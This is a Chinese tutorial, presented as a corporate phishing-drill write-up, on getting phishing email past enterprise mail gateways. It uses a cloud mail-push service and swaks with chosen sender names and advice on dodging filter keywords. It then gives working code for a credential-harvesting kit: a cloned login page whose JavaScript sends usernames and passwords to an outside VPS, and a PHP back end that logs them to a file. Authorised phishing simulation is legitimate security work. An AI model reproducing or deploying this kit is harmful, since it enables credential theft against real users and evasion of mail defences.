在不久前做某企业的钓鱼邮件演练时,发现企业配置的是某云企业邮箱服务。因为企业不给我的邮箱域名开白名单,导致使用gophish自建的邮箱服务发送的邮件无法成功发送到目标邮箱中,甚至是垃圾箱都不配进,且gophish的代发功能存在bug。种种不顺之下,随手整出了一套轻量化的钓鱼演练方案:不需要在服务器上安装ewomail/postfix ,使用自建的简易接收端来代替gophish,通过swaks+邮件推送服务进行邮件发送并绕过企业邮箱网关的拦截。
在分享方案之前先来对邮件拦截有一个初步的认识
邮件分数的概念
其实邮件分数是沿用了一些网站对垃圾邮件的分数评定:https://www.mail-tester.com/ 分数越高意味着是垃圾邮件的可能新越小。一份邮件被拒收、进入企业垃圾箱、成功进入目标邮箱所需分数是递增的。这边随手记了点影响邮件分数的各项内容,并不是很齐全,仅供参考。
要想将邮件成功发送到目标邮箱中,就需要通过企业邮箱网关的防护检测。通过防护检测的过程就跟绕过杀软类似,杀软在查杀上分为静态扫描与动态行为查杀。同样的,企业邮箱网关在防护上也分邮件发送方审核与邮件内容查杀。不同邮箱也会对每项进行加权赋分,假如A邮箱较为重视邮件内容,则邮箱内容分值可能会占70%,对邮件来源的分值占30%。
提高邮件分数
提高邮箱域名权威度是最有效的提高邮件分数的方法。优先选用了国内外大厂自己的邮件推送平台,来进行邮件转发。这里使用的某云自己的邮件推送平台来代发邮件:https://dm.console.aliyun.com/#/directmail/Domain/cn-hangzhou 。一天2k封的额度,演练绰绰有余。
邮件推送控制台配置
注册一个域名,并做好相关配置(图中内容仅示例)
将自己的域名根据官方文档做好域名解析,配置好后进行验证,当状态更改为验证通过后即可。
发信地址配置
发信域名选择通过验证的域名,账号自定义,根据邮件内容来选用针对性的用户名,常规取名例如admin(管理员)、it(计算机部门)、cw(财务部)等。发信类型选择批量邮件,这样能让平台对该域名的发件数能更加宽容。
配置完后先尝试能否在控制台进行正常使用,控制台使用的话还需配置好发信地址和模板管理(需审核,建议测试时不要添加外部链接)。控制台能正常使用的话我们就可以使用swaks来进行邮件发送了
具体测试命令如下
./swaks --to target@qq.com --from it@abc.com --body "testbody" --header "Subject:title" --server smtpdm.aliyun.com -p 25 -au it@abc.com --ap password
常用的命令
--to 指定邮箱
--from 来自邮箱
--body 邮件内容
--header 邮件头
--server 代发域名
-p 指定端口
--au --ap 添加的账号/密码
--data 导入邮件
编写邮件模板
为了避免邮件内容被判定为垃圾邮件,通常会配以文字、图片等内容来充实邮件。同时需要避免触发一些可能敏感关键词,如:登录、账号密码、联系方式、加群、转账、政治敏感词汇等。因为是通过swaks来发送邮件,所以需要本地编写好邮件内容,并导出为eml文件来给swaks代转发。
因为每个大厂邮箱系统的差异,会出现例如QQ邮箱导出的邮件发送至163的邮箱会出现乱码的情况。因此尽量要使用同客户系统一致的系统进行邮件处理。
这里以某云发送至QQ邮箱的情况为例:删除其中的无关header:X-QQ-mid
和X-QQ-XMAILINFO
,无发送时间的特殊要求则删除Date
,不然发送时间不能与发送时间一致。
通常发送的邮件类型都较为复杂,包含链接、文字、图片,因此需要修改导出邮件如下相关base64内容,更改Content-Transfer-Encoding等相关字段(推荐自己写好后直接复制)。踩坑点:碰到接收到的邮件乱码问题时,是base64加密的邮件内容与Content-Type
的charset
模式不匹配。
Content-Type: text/html; charset=GBK
Content-Transfer-Encoding: base64
PGRpdiBzdHlsZT0ibGluZS1oZWlnaHQ6MS43O2NvbG9yOiMwMDAwMDA7Zm9udC1zaXplOjE0cHg7
Zm9udC1mYW1pbHk6QXJpYWwiPjxwIHN0eWxlPSJtYXJnaW46IDBweDsgd29yZC1icmVhazogYnJl
YWstd29yZCAhaW1wb3J0YW50OyI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7IL38yNWjrNXj
swaks代理转发
./swaks --to 目标邮箱.com --from it@abc.com --server smtpdm.aliyun.com -p 25 -au it@abc.com --ap password --data data.eml
邮件界面正常
至此发件问题和邮件制作两个部分已经解决,接下来就是如何钓取到受害者信息
钓鱼网站制作
最简易的方式就是拉取一个php的docker环境,制作一个前端页面及后端接收数据代码。这里可以选用vulhub拉取任意靶场下的php环境。
前端
钓鱼页面的制作是比较花费时间的,个人通常使用谷歌singlefile插件来原样克隆一个前端,再自定义构造个form表单。制作好的html前端页面放置在/var/www/html路径下命名为index.html。前端demo如下,删除了css样式部分,核心部分是form表单及javascript
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>title</title>
<script type="text/javascript" src="http://libs.baidu.com/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<div class="login">
<div class="title">登录</div>
<div action="" class="login-form">
<input class="form-input" name="username" placeholder="账号" id="username" type="text" value="" />
<input class="form-input" name="password" placeholder="密码" type="password" value="" />
<div class="checkbox-group" style="height:30px"> </div>
<p><button class="form-submit" onclick="login()">登录</button></p>
</div>
</div>
</body>
</html>
<script type="text/javascript">
function login() {
var name = document.getElementById("username");
if (!$('input[name=username]').val().trim()) {
alert('请输入账号')
return
} else if (!$('input[name=password]').val().trim()) {
alert('请输入密码')
return
}
username = $("input[name='username']").val();
password = $("input[name='password']").val();
$.ajaxSetup({
async: false
});
$.ajax({
url: "http://vps:8080/index.php", //将用户输入账号传输给后端
method: "post",
async: false,
data: 'user=' + username + '&pass=' + password,
success: function (data) {
if (data == "ok") {
console.log(data, "ok")
} else {
console.log(data, "error")
}
}
})
window.location.href = "http://url/"; //提交后跳转至所需页面
}
</script>
后端
同样在/var/www/html,编写简易的钓鱼后端index.php如下,功能为接收到前端发起的请求并将数据并写入文本中。
<?php
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:POST, GET');
header('Access-Control-Allow-Headers:x-requested-with,content-type');
$user = @$_POST['user'];
$pass = @$_POST['pass'];
echo $user;
if ($user != null){
echo "ok";
$myfile = fopen("testfile.txt","a+");
fwrite($myfile, $user."---".$pass."\r\n");
fclose($myfile);
}else{
echo "error";
}
?>
效果很简易,但也够用